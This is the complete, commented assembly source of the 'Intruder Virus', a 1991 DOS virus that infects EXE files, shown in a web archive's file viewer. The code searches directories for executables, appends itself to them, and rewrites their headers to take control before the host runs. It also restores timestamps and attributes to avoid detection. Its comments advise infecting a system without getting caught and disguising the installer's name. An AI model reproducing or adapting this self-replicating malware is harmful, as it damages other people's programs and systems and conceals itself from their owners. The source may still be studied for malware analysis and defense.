home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / INTRUDER.ASM < prev    next >
Assembly Source File  |  1991-04-01  |  33KB  |  710 lines

  1. ;The Intruder Virus is an EXE file infector which can jump from directory to
  2. ;directory and disk to disk. It attaches itself to the end of a file and
  3. ;modifies the EXE file header so that it gets control first, before the host
  4. ;program. When it is done doing its job, it passes control to the host program,
  5. ;so that the host executes without a hint that the virus is there.
  6.  
  7.  
  8.         .SEQ                       ;segments must appear in sequential order
  9.                                    ;to simulate conditions in actual active virus
  10.  
  11.  
  12. ;MGROUP  GROUP   HOSTSEG,HSTACK     ;Host stack and code segments grouped together
  13.  
  14. ;HOSTSEG program code segment. The virus gains control before this routine and
  15. ;attaches itself to another EXE file. As such, the host program for this
  16. ;installer simply tries to delete itself off of disk and terminates. That is
  17. ;worthwhile if you want to infect a system with the virus without getting
  18. ;caught. Just execute the program that infects, and it disappears without a
  19. ;trace. You might want to name the program something more innocuous, though.
  20.  
  21. HOSTSEG SEGMENT BYTE
  22.         ASSUME  CS:HOSTSEG,SS:HSTACK
  23.  
  24. PGMSTR  DB 'INTRUDER.EXE',0
  25.  
  26. HOST:
  27.         mov     ax,cs           ;we want DS=CS here
  28.         mov     ds,ax
  29.         mov     dx,OFFSET PGMSTR
  30.         mov     ah,41H
  31.         int     21H             ;delete this exe file
  32.         mov     ah,4CH
  33.         mov     al,0
  34.         int     21H             ;terminate normally
  35. HOSTSEG ENDS
  36.  
  37.  
  38. ;Host program stack segment
  39.  
  40. HSTACK  SEGMENT PARA STACK
  41.         db  100H dup (?)        ;100 bytes long
  42. HSTACK  ENDS
  43.  
  44. ;------------------------------------------------------------------------
  45. ;This is the virus itself
  46.  
  47. STACKSIZE       EQU     100H           ;size of stack for the virus
  48. NUMRELS         EQU     2              ;number of relocatables in the virus, which must go in the relocatable pointer table
  49.  
  50. ;VGROUP  GROUP   VSEG,VSTACK    ;Virus code and stack segments grouped together
  51.  
  52. ;Intruder Virus code segment. This gains control first, before the host. As this
  53. ;ASM file is layed out, this program will look exactly like a simple program
  54. ;that was infected by the virus.
  55.  
  56. VSEG    SEGMENT PARA
  57.         ASSUME  CS:VSEG,DS:VSEG,SS:VSTACK
  58.  
  59. ;data storage area comes before any code
  60. VIRUSID DW      0C8AAH                ;identifies virus
  61. OLDDTA  DD      0                     ;old DTA segment and offset
  62. DTA1    DB      2BH dup (?)           ;new disk transfer area
  63. DTA2    DB      56H dup (?)           ;dta for directory finds (2 deep)
  64. EXE_HDR DB      1CH dup (?)           ;buffer for EXE file header
  65. EXEFILE DB      '\*.EXE',0            ;search string for an exe file
  66. ALLFILE DB      '\*.*',0              ;search string for any file
  67. USEFILE DB      78 dup (?)            ;area to put valid file path
  68. LEVEL   DB      0                     ;depth to search directories for a file
  69. HANDLE  DW      0                     ;file handle
  70. FATTR   DB      0                     ;old file attribute storage area
  71. FTIME   DW      0                     ;old file time stamp storage area
  72. FDATE   DW      0                     ;old file date stamp storage area
  73. FSIZE   DD      0                     ;file size storage area
  74. VIDC    DW      0                     ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
  75. VCODE   DB      1                     ;identifies this version
  76.  
  77. ;--------------------------------------------------------------------------
  78. ;Intruder virus main routine starts here
  79. VIRUS:
  80.     push    ax        ;save startup info in ax
  81.         mov     ax,cs
  82.         mov     ds,ax           ;set up DS=CS for the virus
  83.         mov     ax,es           ;get PSP Seg
  84.         mov     WORD PTR [OLDDTA+2],ax   ;set up default DTA Seg=PSP Seg in case of abort without getting it
  85.         call    SHOULDRUN       ;run only when certain conditions met signalled by z set
  86.         jnz     REL1            ;conditions aren't met, go execute host program
  87.         call    SETSR           ;modify SHOULDRUN procedure to activate conditions
  88.         call    NEW_DTA         ;set up a new DTA location
  89.         call    FIND_FILE       ;get an exe file to attack
  90.         jnz     FINISH          ;returned nz - no valid file, exit
  91.         call    SAVE_ATTRIBUTE  ;save the file attributes and leave file opened in r/w mode
  92.         call    INFECT          ;move program code to file we found to attack
  93.         call    REST_ATTRIBUTE  ;restore the original file attributes and close the file
  94. FINISH: call    RESTORE_DTA     ;restore the DTA to its original value at startup
  95.     pop    ax        ;restore startup value of ax
  96. REL1:                           ;relocatable marker for host stack segment
  97.         mov     bx,HSTACK       ;set up host program stack segment (ax=segment)
  98.         cli                     ;interrupts off while changing stack
  99.         mov     ss,bx
  100. REL1A:                          ;marker for host stack pointer
  101.         mov     sp,OFFSET HSTACK
  102.         mov     es,WORD PTR [OLDDTA+2]  ;set up ES correctly
  103.         mov     ds,WORD PTR [OLDDTA+2]  ;and DS
  104.         sti                     ;interrupts back on
  105. REL2:                           ;relocatable marker for host code segment
  106.         jmp     FAR PTR HOST    ;begin execution of host program
  107.  
  108. ;--------------------------------------------------------------------------
  109. ;First Level - Find a file which passes FILE_OK
  110. ;
  111. ;This routine does a complex directory search to find an EXE file in the
  112. ;current directory, one of its subdirectories, or the root directory or one
  113. ;of its subdirectories, to find a file for which FILE_OK returns with C reset.
  114. ;If you want to change the depth of the search, make sure to allocate enough
  115. ;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
  116. ;since the recursive FINDBR uses a different DTA area for the search (see DOS
  117. ;functions 4EH and 4FH) on each level.
  118. ;
  119. FIND_FILE:
  120.         mov     al,'\'                  ;set up current directory path in USEFILE
  121.         mov     BYTE PTR [USEFILE],al
  122.         mov     si,OFFSET USEFILE+1
  123.         xor     dl,dl
  124.         mov     ah,47H
  125.         int     21H                     ;get current dir, USEFILE= \dir
  126.         cmp     BYTE PTR [USEFILE+1],0  ;see if it is null. If so, its the root
  127.         jnz     FF2                     ;not the root
  128.         xor     al,al                   ;make correction for root directory,
  129.         mov     BYTE PTR [USEFILE],al   ;by setting USEFILE = ''
  130. FF2:    mov     al,2
  131.         mov     [LEVEL],al              ;search 2 subdirs deep
  132.         call    FINDBR                  ;attempt to locate a valid file
  133.         jz      FF3                     ;found one - exit
  134.         xor     al,al                   ;nope - try the root directory
  135.         mov     BYTE PTR [USEFILE],al   ;by setting USEFILE= ''
  136.         inc     al                      ;al=1
  137.         mov     [LEVEL],al              ;search one subdir deep
  138.         call    FINDBR                  ;attempt to find file
  139. FF3:
  140.         ret                             ;exit with z flag set by FINDBR to indicate success/failure
  141.  
  142.  
  143. ;--------------------------------------------------------------------------
  144. ;Second Level - Find in a branch
  145. ;
  146. ;This function searches the directory specified in USEFILE for EXE files.
  147. ;after searching the specified directory, it searches subdirectories to the
  148. ;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
  149. ;routine exits with Z set and leaves the file and path in USEFILE
  150. ;
  151. FINDBR:
  152.         call    FINDEXE         ;search current dir for EXE first
  153.         jnc     FBE3            ;found it - exit
  154.         cmp     [LEVEL],0       ;no - do we want to go another directory deeper?
  155.         jz      FBE1            ;no - exit
  156.         dec     [LEVEL]         ;yes - decrement LEVEL and continue
  157.         mov     di,OFFSET USEFILE       ;'\curr_dir' is here
  158.         mov     si,OFFSET ALLFILE       ;'\*.*' is here
  159.         call    CONCAT          ;get '\curr_dir\*.*' in USEFILE
  160.         inc     di
  161.         push    di              ;store pointer to first *
  162.         call    FIRSTDIR        ;get first subdirectory
  163.         jnz     FBE             ;couldn't find it, so quit
  164. FB1:                            ;otherwise, check it out
  165.         pop     di              ;strip \*.* off of USEFILE
  166.         xor     al,al
  167.         stosb
  168.         mov     di,OFFSET USEFILE
  169.         mov     bx,OFFSET DTA2+1EH
  170.         mov     al,[LEVEL]
  171.         mov     dl,2BH          ;compute correct DTA location for subdir name
  172.         mul     dl              ;which depends on the depth we're at in the search
  173.         add     bx,ax           ;bx points to directory name
  174.         mov     si,bx
  175.         call    CONCAT          ;'\curr_dir\sub_dir' put in USEFILE
  176.         push    di              ;save position of first letter in sub_dir name
  177.         call    FINDBR          ;scan the subdirectory and its subdirectories (recursive)
  178.         jz      FBE2            ;if successful, exit
  179.         call    NEXTDIR         ;get next subdirectory in this directory
  180.         jz      FB1             ;go check it if search successful
  181. FBE:                            ;else exit, NZ set, cleaned up
  182.         inc     [LEVEL]         ;increment the level counter before exit
  183.         pop     di              ;strip any path or file spec off of original
  184.         xor     al,al           ;directory path
  185.         stosb
  186. FBE1:   mov     al,1            ;return with NZ set
  187.         or      al,al
  188.         ret
  189.  
  190. FBE2:   pop     di              ;successful exit, pull this off the stack
  191. FBE3:   xor     al,al           ;and set Z
  192.         ret                     ;exit
  193.  
  194. ;--------------------------------------------------------------------------
  195. ;Third Level - Part A - Find an EXE file
  196. ;
  197. ;This function searches the path in USEFILE for an EXE file which passes
  198. ;the test FILE_OK. This routine will return the full path of the EXE file
  199. ;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
  200. ;with the c flag set. It will search a whole directory before giving up.
  201. ;
  202. FINDEXE:
  203.         mov     dx,OFFSET DTA1  ;set new DTA for EXE search
  204.         mov     ah,1AH
  205.         int     21H
  206.         mov     di,OFFSET USEFILE
  207.         mov     si,OFFSET EXEFILE
  208.         call    CONCAT          ;set up USEFILE with '\dir\*.EXE'
  209.         push    di              ;save position of '\' before '*.EXE'
  210.         mov     dx,OFFSET USEFILE
  211.         mov     cx,3FH          ;search first for any file
  212.         mov     ah,4EH
  213.         int     21H
  214. NEXTEXE:
  215.         or      al,al           ;is DOS return OK?
  216.         jnz     FEC             ;no - quit with C set
  217.         pop     di
  218.         inc     di
  219.         stosb                   ;truncate '\dir\*.EXE' to '\dir\'
  220.         mov     di,OFFSET USEFILE
  221.         mov     si,OFFSET DTA1+1EH
  222.         call    CONCAT          ;setup file name '\dir\filename.exe'
  223.         dec     di
  224.         push    di
  225.         call    FILE_OK         ;yes - is this a good file to use?
  226.         jnc     FENC            ;yes - valid file found - exit with c reset
  227.         mov     ah,4FH
  228.         int     21H             ;do find next
  229.         jmp     SHORT NEXTEXE   ;and go test it for validity
  230.  
  231. FEC:                            ;no valid file found, return with C set
  232.         pop     di
  233.         mov     BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
  234.         stc
  235.         ret
  236. FENC:                           ;valid file found, return with NC
  237.         pop     di
  238.         ret
  239.  
  240.  
  241. ;--------------------------------------------------------------------------
  242. ;Third Level - Part B - Find a subdirectory
  243. ;
  244. ;This function searches the file path in USEFILE for subdirectories, excluding
  245. ;the subdirectory header entries. If one is found, it returns with Z set, and
  246. ;if not, it returns with NZ set.
  247. ;There are two entry points here, FIRSTDIR, which does the search first, and
  248. ;NEXTDIR, which does the search next.
  249. ;
  250. FIRSTDIR:
  251.         call    GET_DTA         ;get proper DTA address in dx (calculated from LEVEL)
  252.         push    dx              ;save it
  253.         mov     ah,1AH          ;set DTA
  254.         int     21H
  255.         mov     dx,OFFSET USEFILE
  256.         mov     cx,10H          ;search for a directory
  257.         mov     ah,4EH          ;do search first function
  258.         int     21H
  259. NEXTD1:
  260.         pop     bx              ;get pointer to search table (DTA)
  261.         or      al,al           ;successful search?
  262.         jnz     NEXTD3          ;no, quit with NZ set
  263.         test    BYTE PTR [bx+15H],10H    ;is this a directory?
  264.         jz      NEXTDIR         ;no, find another
  265.         cmp     BYTE PTR [bx+1EH],'.'    ;is it a subdirectory header?
  266.         jne     NEXTD2          ;no - valid directory, exit, setting Z flag
  267.                                 ;else it was dir header entry, so fall through to next
  268. NEXTDIR:                        ;second entry point for search next
  269.         call    GET_DTA         ;get proper DTA address again - may not be set up
  270.         push    dx
  271.         mov     ah,1AH          ;set DTA
  272.         int     21H
  273.         mov     ah,4FH
  274.         int     21H             ;do find next
  275.         jmp     SHORT NEXTD1    ;and loop to check the validity of the return
  276.  
  277. NEXTD2:
  278.         xor     al,al           ;successful exit, set Z flag
  279. NEXTD3:
  280.         ret                     ;exit routine
  281.  
  282. ;--------------------------------------------------------------------------
  283. ;Return the DTA address associated to LEVEL in dx. This is simply given by
  284. ;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
  285. ;in its own DTA, since a search at a lower level occurs in the middle of the
  286. ;higher level search, and we don't want the higher level being ruined by
  287. ;corrupted data.
  288. ;
  289. GET_DTA:
  290.         mov     dx,OFFSET DTA2
  291.         mov     al,2BH
  292.         mul     [LEVEL]
  293.         add     dx,ax                   ;return with dx= proper dta offset
  294.         ret
  295.  
  296. ;--------------------------------------------------------------------------
  297. ;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
  298. ;string at ES:DI. Return ES:DI pointing to the end of the first string in the
  299. ;destination (or the first character of the second string, after moved).
  300. ;
  301. CONCAT:
  302.         mov     al,byte ptr es:[di]     ;find the end of string 1
  303.         inc     di
  304.         or      al,al
  305.         jnz     CONCAT
  306.         dec     di                      ;di points to the null at the end
  307.         push    di                      ;save it to return to the caller
  308. CONCAT2:
  309.         cld
  310.         lodsb                           ;move second string to end of first
  311.         stosb
  312.         or      al,al
  313.         jnz     CONCAT2
  314.         pop     di                      ;and restore di to point to end of string 1
  315.         ret
  316.  
  317.  
  318. ;--------------------------------------------------------------------------
  319. ;Function to determine whether the EXE file specified in USEFILE is useable.
  320. ;if so return nc, else return c
  321. ;What makes an EXE file useable?:
  322. ;              a) The signature field in the EXE header must be 'MZ'. (These
  323. ;                 are the first two bytes in the file.)
  324. ;              b) The Overlay Number field in the EXE header must be zero.
  325. ;              c) There must be room in the relocatable table for NUMRELS
  326. ;                 more relocatables without enlarging it.
  327. ;              d) The word VIRUSID must not appear in the 2 bytes just before
  328. ;                 the initial CS:0000 of the test file. If it does, the virus
  329. ;                 is probably already in that file, so we skip it.
  330. ;
  331. FILE_OK:
  332.         call    GET_EXE_HEADER         ;read the EXE header in USEFILE into EXE_HDR
  333.         jc      OK_END                 ;error in reading the file, so quit
  334.         call    CHECK_SIG_OVERLAY      ;is the overlay number zero?
  335.         jc      OK_END                 ;no - exit with c set
  336.         call    REL_ROOM               ;is there room in the relocatable table?
  337.         jc      OK_END                 ;no - exit
  338.         call    IS_ID_THERE            ;is id at CS:0000?
  339. OK_END: ret                            ;return with c flag set properly
  340.  
  341. ;--------------------------------------------------------------------------
  342. ;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
  343. ;number is anything but zero.
  344. CHECK_SIG_OVERLAY:
  345.         mov     al,'M'                  ;check the signature first
  346.         mov     ah,'Z'
  347.         cmp     ax,WORD PTR [EXE_HDR]
  348.         jz      CSO_1                   ;jump if OK
  349.         stc                             ;else set carry and exit
  350.         ret
  351. CSO_1:  xor     ax,ax
  352.         sub     ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
  353.         ret                             ;c is set if it's anything but 0
  354.  
  355. ;--------------------------------------------------------------------------
  356. ;This function reads the 28 byte EXE file header for the file named in USEFILE.
  357. ;It puts the header in EXE_HDR, and returns c set if unsuccessful.
  358. ;
  359. GET_EXE_HEADER:
  360.         mov     dx,OFFSET USEFILE
  361.         mov     ax,3D02H                ;r/w access open file
  362.         int     21H
  363.         jc      RE_RET                  ;error opening - C set - quit without closing
  364.         mov     [HANDLE],ax             ;else save file handle
  365.         mov     bx,ax                   ;handle to bx
  366.         mov     cx,1CH                  ;read 28 byte EXE file header
  367.         mov     dx,OFFSET EXE_HDR       ;into this buffer
  368.         mov     ah,3FH
  369.         int     21H
  370. RE_RET: ret                             ;return with c set properly
  371.  
  372. ;--------------------------------------------------------------------------
  373. ;This function determines if there are at least NUMRELS openings in the
  374. ;current relocatable table in USEFILE. If there are, it returns with
  375. ;carry reset, otherwise it returns with carry set. The computation
  376. ;this routine does is to compare whether
  377. ;    ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
  378. ;is >= than 4 * NUMRELS. If it is, then there is enough room
  379. ;
  380. REL_ROOM:
  381.         mov     ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
  382.         add     ax,ax
  383.         add     ax,ax
  384.         sub     ax,WORD PTR [EXE_HDR+6] ;number of relocatables
  385.         add     ax,ax
  386.         add     ax,ax
  387.         sub     ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
  388.         cmp     ax,4*NUMRELS            ;enough room to put relocatables in?
  389. RR_RET: ret                             ;exit with carry set properly
  390.  
  391.  
  392. ;--------------------------------------------------------------------------
  393. ;This function determines whether the word at the initial CS:0000 in USEFILE
  394. ;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
  395. ;it returns c reset.
  396. ;
  397. IS_ID_THERE:
  398.         mov     ax,WORD PTR [EXE_HDR+22] ;Initial CS
  399.         add     ax,WORD PTR [EXE_HDR+8]  ;Header size
  400.         mov     dx,16
  401.         mul     dx
  402.         mov     cx,dx
  403.         mov     dx,ax                    ;cxdx = position to look for VIRUSID in file
  404.         mov     bx,[HANDLE]
  405.         mov     ax,4200H                 ;set file pointer, relative to beginning
  406.         int     21H
  407.         mov     ah,3FH
  408.         mov     bx,[HANDLE]
  409.         mov     dx,OFFSET VIDC
  410.         mov     cx,2                     ;read 2 bytes into VIDC
  411.         int     21H
  412.         jc      II_RET                   ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
  413.         mov     ax,[VIDC]
  414.         cmp     ax,[VIRUSID]             ;is it the VIRUSID?
  415.         clc
  416.         jnz     II_RET                   ;if not, then virus is not already in this file
  417.         stc                              ;else it is probably there already
  418. II_RET: ret
  419.  
  420.  
  421. ;--------------------------------------------------------------------------
  422. ;This routine makes sure file end is at paragraph boundary, so the virus
  423. ;can be attached with a valid CS. Assumes file pointer is at end of file.
  424. SETBDY:
  425.         mov     al,BYTE PTR [FSIZE]
  426.         and     al,0FH              ;see if we have a paragraph boundary (header is always even # of paragraphs)
  427.         jz      SB_E                ;all set - exit
  428.         mov     cx,10H              ;no - write any old bytes to even it up
  429.         sub     cl,al               ;number of bytes to write in cx
  430.         mov     dx,OFFSET FINAL     ;set buffer up to point to end of the code (just garbage there)
  431.         add     WORD PTR [FSIZE],cx     ;update FSIZE
  432.         adc     WORD PTR [FSIZE+2],0
  433.         mov     bx,[HANDLE]
  434.         mov     ah,40H              ;DOS write function
  435.         int     21H
  436. SB_E:   ret
  437.  
  438. ;--------------------------------------------------------------------------
  439. ;This routine moves the virus (this program) to the end of the EXE file
  440. ;Basically, it just copies everything here to there, and then goes and
  441. ;adjusts the EXE file header and two relocatables in the program, so that
  442. ;it will work in the new environment. It also makes sure the virus starts
  443. ;on a paragraph boundary, and adds how many bytes are necessary to do that.
  444. ;
  445. INFECT:
  446.         mov     cx,WORD PTR [FSIZE+2]
  447.         mov     dx,WORD PTR [FSIZE]
  448.         mov     bx,[HANDLE]
  449.         mov     ax,4200H                ;set file pointer, relative to beginning
  450.         int     21H                     ;go to end of file
  451.         call    SETBDY                  ;lengthen to a paragraph boundary if necessary
  452.         mov     cx,OFFSET FINAL         ;last byte of code
  453.         xor     dx,dx                   ;first byte of code, DS:DX
  454.         mov     bx,[HANDLE]             ;move virus code to end of file being attacked with
  455.         mov     ah,40H                  ;DOS write function
  456.         int     21H
  457.         mov     dx,WORD PTR [FSIZE]     ;find 1st relocatable in code (SS)
  458.         mov     cx,WORD PTR [FSIZE+2]
  459.         mov     bx,OFFSET REL1          ;it is at FSIZE+REL1+1 in the file
  460.         inc     bx
  461.         add     dx,bx
  462.         mov     bx,0
  463.         adc     cx,bx                   ;cx:dx is that number
  464.         mov     bx,[HANDLE]
  465.         mov     ax,4200H                ;set file pointer to 1st relocatable
  466.         int     21H
  467.         mov     dx,OFFSET EXE_HDR+14    ;get correct old SS for new program
  468.         mov     bx,[HANDLE]             ;from the EXE header
  469.         mov     cx,2
  470.         mov     ah,40H                  ;and write it to relocatable REL1+1
  471.         int     21H
  472.         mov     dx,WORD PTR [FSIZE]
  473.         mov     cx,WORD PTR [FSIZE+2]
  474.         mov     bx,OFFSET REL1A         ;put in correct old SP from EXE header
  475.         inc     bx                      ;at FSIZE+REL1A+1
  476.         add     dx,bx
  477.         mov     bx,0
  478.         adc     cx,bx                   ;cx:dx points to FSIZE+REL1A+1
  479.         mov     bx,[HANDLE]
  480.         mov     ax,4200H                ;set file pointer to place to write SP to
  481.         int     21H
  482.         mov     dx,OFFSET EXE_HDR+16    ;get correct old SP for infected program
  483.         mov     bx,[HANDLE]             ;from EXE header
  484.         mov     cx,2
  485.         mov     ah,40H                  ;and write it where it belongs
  486.         int     21H
  487.         mov     dx,WORD PTR [FSIZE]
  488.         mov     cx,WORD PTR [FSIZE+2]
  489.         mov     bx,OFFSET REL2          ;put in correct old CS:IP in program
  490.         add     bx,1                    ;at FSIZE+REL2+1 on disk
  491.         add     dx,bx
  492.         mov     bx,0
  493.         adc     cx,bx                   ;cx:dx points to FSIZE+REL2+1
  494.         mov     bx,[HANDLE]
  495.         mov     ax,4200H                ;set file pointer relavtive to start of file
  496.         int     21H
  497.         mov     dx,OFFSET EXE_HDR+20    ;get correct old CS:IP from EXE header
  498.         mov     bx,[HANDLE]
  499.         mov     cx,4
  500.         mov     ah,40H                  ;and write 4 bytes to FSIZE+REL2+1
  501.         int     21H
  502.                                         ;done writing relocatable vectors
  503.                                         ;so now adjust the EXE header values
  504.         xor     cx,cx
  505.         xor     dx,dx
  506.         mov     bx,[HANDLE]
  507.         mov     ax,4200H                ;set file pointer to start of file
  508.         int     21H
  509.         mov     ax,WORD PTR [FSIZE]     ;calculate new initial CS (the virus' CS)
  510.         mov     cl,4                    ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
  511.         shr     ax,cl
  512.         mov     bx,WORD PTR [FSIZE+2]
  513.         and     bl,0FH
  514.         mov     cl,4
  515.         shl     bl,cl
  516.         add     ah,bl
  517.         sub     ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
  518.         mov     WORD PTR [EXE_HDR+22],ax;and save as initial CS
  519.         mov     bx,OFFSET FINAL         ;compute new initial SS
  520.         add     bx,10H                  ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
  521.         mov     cl,4
  522.         shr     bx,cl
  523.         add     ax,bx
  524.         mov     WORD PTR [EXE_HDR+14],ax  ;and save it
  525.         mov     ax,OFFSET VIRUS           ;get initial IP
  526.         mov     WORD PTR [EXE_HDR+20],ax  ;and save it
  527.         mov     ax,STACKSIZE              ;get initial SP
  528.         mov     WORD PTR [EXE_HDR+16],ax  ;and save it
  529.         mov     dx,WORD PTR [FSIZE+2]
  530.         mov     ax,WORD PTR [FSIZE]     ;calculate new file size
  531.         mov     bx,OFFSET FINAL
  532.         add     ax,bx
  533.         xor     bx,bx
  534.         adc     dx,bx                   ;put it in ax:dx
  535.         add     ax,200H                 ;and set up the new page count
  536.         adc     dx,bx                   ;page ct= (ax:dx+512)/512
  537.         push    ax
  538.         mov     cl,9
  539.         shr     ax,cl
  540.         mov     cl,7
  541.         shl     dx,cl
  542.         add     ax,dx
  543.         mov     WORD PTR [EXE_HDR+4],ax ;and save it here
  544.         pop     ax
  545.         and     ax,1FFH                 ;now calculate last page size
  546.         mov     WORD PTR [EXE_HDR+2],ax ;and put it here
  547.         mov     ax,NUMRELS              ;adjust relocatables counter
  548.         add     WORD PTR [EXE_HDR+6],ax
  549.         mov     cx,1CH                  ;and save data at start of file
  550.         mov     dx,OFFSET EXE_HDR
  551.         mov     bx,[HANDLE]
  552.         mov     ah,40H                  ;DOS write function
  553.         int     21H
  554.         mov     ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
  555.         dec     ax                      ;in order to calculate location of
  556.         dec     ax                      ;where to add relocatables
  557.         mov     bx,4                    ;Location= (No in table-2)*4+Table Offset
  558.         mul     bx
  559.         add     ax,WORD PTR [EXE_HDR+24];table offset
  560.         mov     bx,0
  561.         adc     dx,bx                   ;dx:ax=end of old table in file
  562.         mov     cx,dx
  563.         mov     dx,ax
  564.         mov     bx,[HANDLE]
  565.         mov     ax,4200H                ;set file pointer to table end
  566.         int     21H
  567.         mov     ax,WORD PTR [EXE_HDR+22]  ;and set up 2 pointers: init CS = seg of REL1
  568.         mov     bx,OFFSET REL1
  569.         inc     bx                      ;offset of REL1
  570.         mov     WORD PTR [EXE_HDR],bx   ;use EXE_HDR as a buffer to
  571.         mov     WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
  572.         mov     ax,WORD PTR [EXE_HDR+22]  ;init CS = seg of REL2
  573.         mov     bx,OFFSET REL2
  574.         add     bx,3                    ;offset of REL2
  575.         mov     WORD PTR [EXE_HDR+4],bx ;write it to buffer
  576.         mov     WORD PTR [EXE_HDR+6],ax
  577.         mov     cx,8                    ;and then write 8 bytes of data in file
  578.         mov     dx,OFFSET EXE_HDR
  579.         mov     bx,[HANDLE]
  580.         mov     ah,40H                  ;DOS write function
  581.         int     21H
  582.         ret                             ;that's it, infection is complete!
  583.  
  584. ;--------------------------------------------------------------------------
  585. ;This routine determines whether the reproduction code should be executed.
  586. ;If it returns Z, the reproduction code is executed, otherwise it is not.
  587. ;Currently, it only executes if the system time variable is a multiple of
  588. ;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
  589. ;executions of the program. TIMECT should be 2^n-1
  590. ;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
  591. ;is run. This makes SHOULDRUN return Z for sure the first time, so it
  592. ;definitely runs when this loader program is run, but after that, the time must
  593. ;be an even multiple of TIMECT+1.
  594. ;
  595. TIMECT  EQU     0               ;Determines how often to reproduce (1/64 here)
  596. ;
  597. SHOULDRUN:
  598.         xor     ah,ah           ;zero ax to start, set z flag
  599. SR1:    ret                     ;this gets replaced by NOP when program runs
  600.         int     1AH
  601.         and     dl,TIMECT       ;is it an even multiple of TIMECT+1 ticks?
  602.         ret                     ;return with z flag set if it is, else nz set
  603.  
  604.  
  605. ;--------------------------------------------------------------------------
  606. ;SETSR modifies SHOULDRUN so that the full procedure gets run
  607. ;it is redundant after the initial load
  608. SETSR:
  609.         mov     al,90H          ;NOP code
  610.         mov     BYTE PTR SR1,al ;put it in place of RET above
  611.         ret                     ;and return
  612.  
  613. ;--------------------------------------------------------------------------
  614. ;This routine sets up the new DTA location at DTA1, and saves the location of
  615. ;the initial DTA in the variable OLDDTA.
  616. NEW_DTA:
  617.         mov     ah,2FH                  ;get current DTA in ES:BX
  618.         int     21H
  619.         mov     WORD PTR [OLDDTA],bx    ;save it here
  620.         mov     ax,es
  621.         mov     WORD PTR [OLDDTA+2],ax
  622.         mov     ax,cs
  623.         mov     es,ax                   ;set up ES
  624.         mov     dx,OFFSET DTA1          ;set new DTA offset
  625.         mov     ah,1AH
  626.         int     21H                     ;and tell DOS where we want it
  627.         ret
  628.  
  629. ;--------------------------------------------------------------------------
  630. ;This routine reverses the action of NEW_DTA and restores the DTA to its
  631. ;original value.
  632. RESTORE_DTA:
  633.         mov     dx,WORD PTR [OLDDTA]    ;get original DTA seg:ofs
  634.         mov     ax,WORD PTR [OLDDTA+2]
  635.         mov     ds,ax
  636.         mov     ah,1AH
  637.         int     21H                     ;and tell DOS where to put it
  638.         mov     ax,cs                   ;restore ds before exiting
  639.         mov     ds,ax
  640.         ret
  641.  
  642. ;--------------------------------------------------------------------------
  643. ;This routine saves the original file attribute in FATTR, the file date and
  644. ;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
  645. ;file attribute to read/write, and leaves the file opened in read/write
  646. ;mode (since it has to open the file to get the date and size), with the handle
  647. ;it was opened under in HANDLE. The file path and name is in USEFILE.
  648. SAVE_ATTRIBUTE:
  649.         mov     ah,43H          ;get file attr
  650.         mov     al,0
  651.         mov     dx,OFFSET USEFILE
  652.         int     21H
  653.         mov     [FATTR],cl      ;save it here
  654.         mov     ah,43H          ;now set file attr to r/w
  655.         mov     al,1
  656.         mov     dx,OFFSET USEFILE
  657.         mov     cl,0
  658.         int     21H
  659.         mov     dx,OFFSET USEFILE
  660.         mov     al,2            ;now that we know it's r/w
  661.         mov     ah,3DH          ;we can r/w access open file
  662.         int     21H
  663.         mov     [HANDLE],ax     ;save file handle here
  664.         mov     ah,57H          ;and get the file date and time
  665.         xor     al,al
  666.         mov     bx,[HANDLE]
  667.         int     21H
  668.         mov     [FTIME],cx      ;and save it here
  669.         mov     [FDATE],dx      ;and here
  670.         mov     ax,WORD PTR [DTA1+28]   ;file size was set up here by
  671.         mov     WORD PTR [FSIZE+2],ax   ;search routine
  672.         mov     ax,WORD PTR [DTA1+26]   ;so move it to FSIZE
  673.         mov     WORD PTR [FSIZE],ax
  674.         ret
  675.  
  676. ;--------------------------------------------------------------------------
  677. ;Restore file attribute, and date and time of the file as they were before
  678. ;it was infected. This also closes the file
  679. REST_ATTRIBUTE:
  680.         mov     dx,[FDATE]      ;get old date and time
  681.         mov     cx,[FTIME]
  682.         mov     ah,57H          ;set file date and time to old value
  683.         mov     al,1
  684.         mov     bx,[HANDLE]
  685.         int     21H
  686.         mov     ah,3EH
  687.         mov     bx,[HANDLE]     ;close file
  688.         int     21H
  689.         mov     cl,[FATTR]
  690.         xor     ch,ch
  691.         mov     ah,43H          ;Set file attr to old value
  692.         mov     al,1
  693.         mov     dx,OFFSET USEFILE
  694.         int     21H
  695.         ret
  696.  
  697. FINAL:                                  ;last byte of code to be kept in virus
  698.  
  699. VSEG    ENDS
  700.  
  701.  
  702. ;--------------------------------------------------------------------------
  703. ;Virus stack segment
  704.  
  705. VSTACK  SEGMENT PARA STACK
  706.         db STACKSIZE dup (?)
  707. VSTACK  ENDS
  708.  
  709.         END VIRUS               ;Entry point is the virus
  710.